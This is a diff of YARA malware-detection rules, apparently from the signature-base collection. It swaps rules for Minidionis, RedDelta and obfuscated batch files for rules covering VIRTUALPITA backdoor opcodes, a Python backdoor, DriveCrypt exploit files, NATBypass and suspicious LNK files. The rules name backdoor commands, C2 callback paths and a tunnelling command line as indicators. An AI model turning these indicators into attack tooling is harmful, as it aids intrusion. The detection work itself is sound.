-		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
-		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
-		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+		tags = ""
 
 	strings:
-		$s1 = "%ws_out%ws" fullword wide
-		$s2 = "dnlibsh" fullword ascii
-		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
-		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
-		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }
+		$opcodes1 = {B9 ?? 00 00 00 FF 14 0F B8 FF 00 00 00 C3 89 45 FC}
+		$opcodes2 = {61 55 FF 54 B7 01 B0 FF C9 C3 CC 89 45 FC}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of ($s*) and 1 of ($op*)
+		( uint16(0)==0x5a4d) and ($opcodes1 or $opcodes2)
 }
-rule SIGNATURE_BASE_Malicious_SFX1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Xored_URL_In_EXE : FILE
 {
 	meta:
-		description = "SFX with voicemail content"
+		description = "Detects an XORed URL in an executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7c29dfb0-bbed-5017-80b4-a5c44024cd70"
-		date = "2015-07-20"
-		modified = "2023-12-05"
-		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_minidionis.yar#L39-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
-		logic_hash = "fd7b4c504a52e68fe87eeb9f7066c61ddc47257ac9324a60d219c022d3affbbf"
-		score = 75
+		id = "f83991c8-f2d9-5583-845a-d105034783ab"
+		date = "2020-03-09"
+		modified = "2022-09-16"
+		reference = "https://twitter.com/stvemillertime/status/1237035794973560834"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_xor.yar#L4-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2113324ae04a9022be4cf5c615ad231206eeefb5aa87a2236ec3c9deee9e7ec2"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "voicemail" ascii
-		$s1 = ".exe" ascii
+		$s1 = "http://" xor
+		$s2 = "https://" xor
+		$f1 = "http://" ascii
+		$f2 = "https://" ascii
+		$fp01 = "3Com Corporation" ascii
+		$fp02 = "bootloader.jar" ascii
+		$fp03 = "AVAST Software" ascii wide
+		$fp04 = "smartsvn" wide ascii fullword
+		$fp05 = "Avira Operations GmbH" wide fullword
+		$fp06 = "Perl Dev Kit" wide fullword
+		$fp07 = "Digiread" wide fullword
+		$fp08 = "Avid Editor" wide fullword
+		$fp09 = "Digisign" wide fullword
+		$fp10 = "Microsoft Corporation" wide fullword
+		$fp11 = "Microsoft Code Signing" ascii wide
+		$fp12 = "XtraProxy" wide fullword
+		$fp13 = "A Sophos Company" wide
+		$fp14 = "http://crl3.digicert.com/" ascii
+		$fp15 = "http://crl.sectigo.com/SectigoRSACodeSigningCA.crl" ascii
+		$fp16 = "HitmanPro.Alert" wide fullword
 
 	condition:
-		uint16(0)==0x4b50 and filesize <1000KB and $s0 in (3..80) and $s1 in (3..80)
+		uint16(0)==0x5a4d and filesize <2000KB and (($s1 and #s1>#f1) or ($s2 and #s2>#f2)) and not 1 of ($fp*) and not pe.number_of_signatures>0
 }
-rule SIGNATURE_BASE_Malicious_SFX2 : FILE
+rule SIGNATURE_BASE_M_APT_VIRTUALPITA_1 : FILE
 {
 	meta:
-		description = "SFX with adobe.exe content"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ff59d638-4d82-5a14-b346-3df2154d3c34"
-		date = "2015-07-20"
+		description = "Finds opcodes to set a port to bind on 2233, encompassing the setsockopt(), htons(), and bind() from 40973d to 409791 in fe34b7c071d96dac498b72a4a07cb246 (may produce some FPs - comment by Florian Roth)"
+		author = "Mandiant"
+		id = "bdfbe29a-f7db-50d9-a909-d4ca96cc0731"
+		date = "2023-11-25"
 		modified = "2023-12-05"
-		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_minidionis.yar#L55-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
-		logic_hash = "a2ed7660604ff3c9f2d0dbb454f5d168cd61d1d5e647b5c74fe24f25ebb3dbfd"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc3886_virtualpita.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe34b7c071d96dac498b72a4a07cb246"
+		logic_hash = "7641f964cc4a7671a9a3438aad1c653ef3fda3887313846cbe838b275a098190"
+		score = 60
+		quality = 45
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "adobe.exe" fullword ascii
-		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
-		$s3 = "GETPASSWORD1" fullword wide
+		$x = {8b ?? ?? 4? b8 04 00 00 00 [0 - 4] ba 02 00 00 00 be 01 00 00 00 [0 - 2] e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 79 [0 - 50] ba 10 00 00 00 [0 - 10] e8}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_Minidionis_VBS_Dropped : FILE
+rule SIGNATURE_BASE_M_APT_VIRTUALPITA_2 : FILE
 {
 	meta:
-		description = "Dropped File - 1.vbs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f0116861-4216-504a-a39b-463e7535a2b3"
-		date = "2015-07-21"
+		description = "Finds opcodes to decode and parse the recieved data in the socket buffer in fe34b7c071d96dac498b72a4a07cb246.  Opcodes from 401a36 to 401adc"
+		author = "Mandiant"
+		id = "6a59cc54-e1a0-594f-9efb-af63d5c05259"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_minidionis.yar#L72-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
-		logic_hash = "a24fe4cdff6dd7951af10710eb63ab1fd90ab0e43bbce4388d6687abac206da5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc3886_virtualpita.yar#L17-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe34b7c071d96dac498b72a4a07cb246"
+		logic_hash = "56a3e1b13f0955a780f882e62003f721e409a1fdf61120dd295941605dbf21a4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Wscript.Sleep 5000" ascii
-		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
-		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
-		$s4 = "If(FSO.FileExists(\"" ascii
-		$s5 = "then FSO.DeleteFile(\".\\" ascii
+		$x = {85 c0 74 ?? c7 05 ?? ?? ?? ?? fb ff ff ff c7 8? ?? ?? ?? ?? 00 00 00 00 e9 ?? ?? ?? ?? 4? 8b 05 ?? ?? ?? ?? 4? 83 c0 01 4? 89 05 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 e9 ?? ?? ?? ?? 8b 4? ?? 4? 98 4? 8d 9? ?? ?? ?? ?? 4? 8d ?? e0 4? 8b 0? 4? 89 0? 4? 8b 4? ?? 4? 89 4? ?? 8b 4? ?? 4? 98 4? 8d b? ?? ?? ?? ?? b? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 eb ?? 8b 4? ?? 8b 4? ?? 01 c1 8b 4? ?? 03 4? ?? 4? 98 0f b6 9? ?? ?? ?? ?? 8b 4? ?? 4? 98 0f b6 8? ?? ?? ?? ?? 31 c2 4? 63 c1 88 9? ?? ?? ?? ?? 83 4? ?? 01}
 
 	condition:
-		filesize <1KB and all of them and $s1 in (0..40)
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_1 : FILE
+rule SIGNATURE_BASE_M_APT_VIRTUALPITA_3 : FILE
 {
 	meta:
-		description = "Detects indicators of obfuscation in Windows Batch files"
-		author = "Florian Roth"
-		id = "801e7efc-2c31-5590-afcd-9e11072c9c65"
-		date = "2024-07-12"
-		modified = "2024-07-12"
-		reference = "https://x.com/0xToxin/status/1811656147943752045"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/susp_bat_obfusc_jul24.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "683f4651eb8c5b74eca16e7f97c5c44f0d70f045ea49f1f3726cb6975aba2ab9"
-		score = 70
+		description = "Finds opcodes from 409dd8 to 409e46 in fe34b7c071d96dac498b72a4a07cb246 to set the HISTFILE environment variable to 'F' with a putenv() after loading each character individually."
+		author = "Mandiant"
+		id = "29ea2db0-4ab2-5e9c-8d42-7590ceabf99a"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc3886_virtualpita.yar#L30-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe34b7c071d96dac498b72a4a07cb246"
+		logic_hash = "6f44d516b3cbe54542ae0991aad49274fc4728570e9498b319fc98840ceb7d7d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s1 = "&&set "
+		$x = {4? 8b 4? ?? c6 00 48 4? 8b 4? ?? 4? 83 c0 05 c6 00 49 4? 8b 4? ?? 4? 83 c0 01 c6 00 49 4? 8b 4? ?? 4? 83 c0 06 c6 00 4c 4? 8b 4? ?? 4? 83 c0 02 c6 00 53 4? 8b 4? ?? 4? 83 c0 07 c6 00 45 4? 8b 4? ?? 4? 83 c0 03 c6 00 54 4? 8b 4? ?? 4? 83 c0 08 c6 00 3d 4? 8b 4? ?? 4? 83 c0 04 c6 00 46 4? 8b 4? ?? 4? 83 c0 09 c6 00 00 4? 8b 7? ?? e8}
 
 	condition:
-		filesize <300KB and uint32(0)==0x20746573 and $s1 in (0..32)
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_2 : FILE
+rule SIGNATURE_BASE_M_APT_VIRTUALPITA_4 : FILE
 {
 	meta:
-		description = "Detects indicators of obfuscation in Windows Batch files"
-		author = "Florian Roth"
-		id = "999cd365-2862-5618-b0b6-ee45dea1e9cf"
-		date = "2024-07-12"
-		modified = "2024-07-12"
-		reference = "https://x.com/0xToxin/status/1811656147943752045"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/susp_bat_obfusc_jul24.yar#L17-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "729ec93d180bf39c146c3fd847655340428abc3231b556ca51d3ca68825e7c3e"
-		score = 70
+		description = "Finds opcodes from 401f1c to 401f4f in fe34b7c071d96dac498b72a4a07cb246 to decode text with multiple XORs"
+		author = "Mandiant"
+		id = "58d4db75-fcd5-50c2-93ba-a8a4718ac0f6"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc3886_virtualpita.yar#L43-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe34b7c071d96dac498b72a4a07cb246"
+		logic_hash = "aaf2ff682c619d2a254fe069d477654a161658db6315239f1b956141b6a72c01"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s1 = "&&set "
+		$x = {4? 8b 4? ?? 4? 83 c1 30 4? 8b 4? ?? 4? 8b 10 8b 4? ?? 4? 98 4? 8b 04 ?? ?? ?? ?? ?? 4? 31 c2 4? 8b 4? ?? 4? 83 c0 28 4? 8b 00 4? c1 e8 10 0f b6 c0 4? 98 4? 8b 04}
 
 	condition:
-		filesize <300KB and #s1>30 and uint16( filesize -2)==0x0a0d and uint8( filesize -3)==0x25
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_3 : FILE
+rule SIGNATURE_BASE_M_Hunting_Python_Backdoor_Commandparser_1 : FILE
 {
 	meta:
-		description = "Detects indicators of obfuscation in Windows Batch files"
-		author = "Florian Roth"
-		id = "a484ed03-8588-55e7-9674-b1208e14eb3f"
-		date = "2024-07-12"
-		modified = "2024-07-12"
-		reference = "https://x.com/0xToxin/status/1811656147943752045"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/susp_bat_obfusc_jul24.yar#L35-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ecbe7850349f0368620ff4294e5d0ca277983799eed510f8bf8abe4d4c192197"
-		score = 70
+		description = "Finds strings indicative of the vmsyslog.py python backdoor."
+		author = "Mandiant"
+		id = "15cbca01-24e6-5538-bcfd-c3222337aaf5"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc3886_virtualpita.yar#L57-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "61ab3f6401d60ec36cd3ac980a8deb75"
+		logic_hash = "eefc255079e914ac81d53baf4ae159052bfda4c670e8300306c0899b3ad00a48"
+		score = 50
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s1 = "% \\\\%"
-		$s2 = { 3D ?? 26 26 73 65 74 20 }
+		$key1 = "self.conn.readInt8()" ascii
+		$key2 = "upload" ascii
+		$key3 = "download" ascii
+		$key4 = "shell" ascii
+		$key5 = "execute" ascii
+		$re1 = /def\srun.{,20}command\s?=\s?self\.conn\.readInt8\(\).{,75}upload.{,75}download.{,75}shell.{,75}execute/s
 
 	condition:
-		filesize <300KB and all of them
+		filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_1 : FILE
+rule SIGNATURE_BASE_EXP_Drivecrypt_1 : FILE
 {
 	meta:
-		description = "Detects Red Delta samples"
+		description = "Detects DriveCrypt exploit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "47417488-e843-5346-9baa-fcce30b884d1"
-		date = "2020-10-14"
+		id = "c192ca53-1de3-5d2d-a216-47e534ff4d01"
+		date = "2018-08-21"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_reddelta.yar#L2-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f2406563b863b8ccd0fd8d8d33c576c4b82dabb55a1e4fa8291859323389834"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_drivecrypt.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1959f2e4838e40f2abc26ee16b03089088c96cafb101125bdc346f69fe76d7a4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "30b2bbce0ca4cb066721c94a64e2c37b7825dd72fc19c20eb0ab156bea0f8efc"
-		hash2 = "42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9bad145e4ea5b8be2e2"
-		hash3 = "480a8c883006232361c5812af85de9799b1182f1b52145ccfced4fa21b6daafa"
-		hash4 = "7ea7c6406c5a80d3c15511c4d97ec1e45813e9c58431f386710d0486c4898b98"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0dd09bc97c768abb84d0fb6d1ae7d789f1f83bfb2ce93ff9ff3c538dc1effa33"
 
 	strings:
-		$x1 = "InjectShellCode" ascii fullword
-		$s1 = "DotNetLoader.exe" wide ascii fullword
-		$s2 = "clipboardinject" ascii fullword
-		$s3 = "download.php?raw=1" wide
-		$s4 = "Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint" wide
-		$s5 = "FlashUpdate.exe" wide
-		$s6 = "raw_cc_url" ascii fullword
-		$op1 = { 48 8b 4c 24 78 48 89 01 e9 1a ff ff ff 48 8b 44 }
-		$op2 = { ff ff 00 00 77 2a 8b 44 24 38 8b 8c 24 98 }
+		$s1 = "x64passldr.exe" fullword ascii
+		$s2 = "DCR.sys" fullword ascii
+		$s3 = "amd64\\x64pass.sys" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and $x1 or 3 of them
+		uint16(0)==0x5a4d and filesize <700KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_2 : FILE
+rule SIGNATURE_BASE_EXP_Drivecrypt_X64Passldr : FILE
 {
 	meta:
-		description = "Detects Red Delta samples"
+		description = "Detects DriveCrypt exploit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "acb1024a-64af-51ac-84c8-7fe9a5bd4538"
-		date = "2020-10-14"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_reddelta.yar#L31-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "179265c0b2175bc3d2d581a69e50e9b8b9cc918a6fdc7bcef42fb163c49b077a"
+		id = "94594b4e-091d-5964-b2b4-5d7d44601b28"
+		date = "2018-08-21"
+		modified = "2023-01-06"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_drivecrypt.yar#L19-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "573cd96f7f82788a3884cd4b4d91c739a890835c3ed1b3933af48ba5756cc5a6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b"
-		hash2 = "9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5"
-		hash3 = "b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429"
+		hash1 = "c828304c83619e2cb9dab80305e5286aba91742dc550e1469d91812af27101a1"
 
 	strings:
-		$x1 = "\\CLRLoader.exe" wide fullword
-		$x2 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword
-		$s1 = "DotNetLoader.Program" wide fullword
-		$s2 = "/download.php?api=40" ascii fullword
-		$s3 = "get %d URLDir" ascii fullword
-		$s4 = "Read code failed" ascii fullword
-		$s5 = "OpenFile fail!" wide fullword
-		$s6 = "Writefile success" wide fullword
-		$op1 = { 4c 8d 45 e0 49 8b cc 41 8d 51 c3 e8 34 77 02 00 }
+		$s1 = "\\x64\\x64passldr.pdb" ascii
+		$s2 = "\\amd64\\x64pass.sys" wide
+		$s3 = "\\\\.\\DCR" fullword ascii
+		$s4 = "Open SC Mgr Error" fullword ascii
+		$s5 = "thing is ok " fullword ascii
+		$s6 = "x64pass" fullword wide
+		$s7 = "%ws\\%ws\\Security" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($x*) or 4 of them
+		uint16(0)==0x5a4d and filesize <200KB and 3 of them
 }
-rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_3 : FILE
+rule SIGNATURE_BASE_HKTL_Natbypass_Dec22_1 : T1090 FILE
 {
 	meta:
-		description = "Detects Red Delta samples"
+		description = "Detects NatBypass tool (also used by APT41)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b52836bb-cdef-5416-a8e1-72d0b2298546"
-		date = "2020-10-14"
-		modified = "2022-12-21"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_reddelta.yar#L59-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64402f6265f23abf7d6a711aa888c89386c1a754f12286b0efe5fd5d81f15b01"
-		score = 75
+		id = "54af4d84-72f7-5ec4-b0bf-7ba228fdf508"
+		date = "2022-12-27"
+		modified = "2023-12-05"
+		reference = "https://github.com/cw1997/NATBypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/hktl_natbypass.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8af76d7d9d4500dc219090fbd8ca8cd9fd17bfc224f14a411febfd6f75b92206"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		hash1 = "740992d40b84b10aa9640214a4a490e989ea7b869cea27dbbdef544bb33b1048"
+		tags = "T1090, FILE"
+		hash1 = "4550635143c9997d5499d1d4a4c860126ee9299311fed0f85df9bb304dca81ff"
 
 	strings:
-		$s1 = "Taskschd.dll" ascii fullword
-		$s2 = "AddTaskPlanDllVerson.dll" ascii fullword
-		$s3 = "\\FlashUpdate.exe" ascii
-		$s4 = "D:\\Project\\FBIRedTeam" ascii fullword
-		$s5 = "Error %s:%d, ErrorCode: %x" ascii fullword
+		$x1 = "nb -slave 127.0.0.1:3389 8.8.8.8:1997" ascii
+		$x2 = "| Welcome to use NATBypass Ver" ascii
+		$s1 = "main.port2host.func1" ascii fullword
+		$s2 = "start to transmit address:" ascii
+		$s3 = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 4 of them
+		filesize <8000KB and (1 of ($x*) or 2 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_M_APT_Downloader_BEATDROP : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_LNK_Embedded_Worddoc : FILE
 {
 	meta:
-		description = "Rule looking for BEATDROP malware"
-		author = "Mandiant"
-		id = "5720870e-8989-59f2-998b-019084d091ce"
-		date = "2022-04-28"
+		description = "check for LNK files with indications of the Word program or an embedded doc"
+		author = "Greg Lesnewich"
+		id = "9677d41a-9d29-510c-98cd-122dc0ca9606"
+		date = "2023-01-02"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_apr22.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7a766682cc9a057798cc569111bfcb611648c4a052c0dd664d983b80d5891255"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L3-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
+		logic_hash = "a53fbfe0ccb5a4ab2320cde10d17f29770d888cf21cda4fdccc3d7ae8d123293"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		DaysofYARA = "2/100"
 
 	strings:
-		$ntdll1 = "ntdll" ascii fullword
-		$ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
-		$url1 = "api.trello.com" ascii
-		$url2 = "/members/me/boards?key=" ascii
-		$url3 = "/cards?key=" ascii
+		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+		$icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <1MB and all of them
+		uint32be(0x0)==0x4C000000 and filesize >10KB and any of them
 }
-rule SIGNATURE_BASE_M_APT_Downloader_BOOMMIC : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_LNK_Smallscreensize
 {
 	meta:
-		description = "Rule looking for BOOMMIC malware"
-		author = "Mandiant"
-		id = "34ea08a6-5d6f-5cdd-a629-fa36313c98f7"
-		date = "2022-04-28"
+		description = "check for LNKs that have a screen buffer size and WindowSize dimensions of 1x1"
+		author = "Greg Lesnewich"
+		id = "6194a76b-36d6-51d1-8d53-2e11172e29d2"
+		date = "2023-01-01"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_apr22.yar#L19-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c561b19464597f896d31307c0383fbc639cf4211600513e1251a3f59405bfed6"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L22-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "285985c21e34f8412b49dbfe04abad9f93af195801d0a8870ec3795b8a9a3787"
+		score = 65
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		version = "1.0"
+		DaysofYARA = "1/100"
 
 	strings:
-		$loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
-		$loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
-		$func1 = "GetComputerNameExA" ascii
-		$func2 = "HttpQueryInfoA" ascii
+		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <1MB and (($loc_10001000 and $func1) or ($loc_100012fd and $func2))
+		uint32be(0x0)==0x4c000000 and all of them
 }
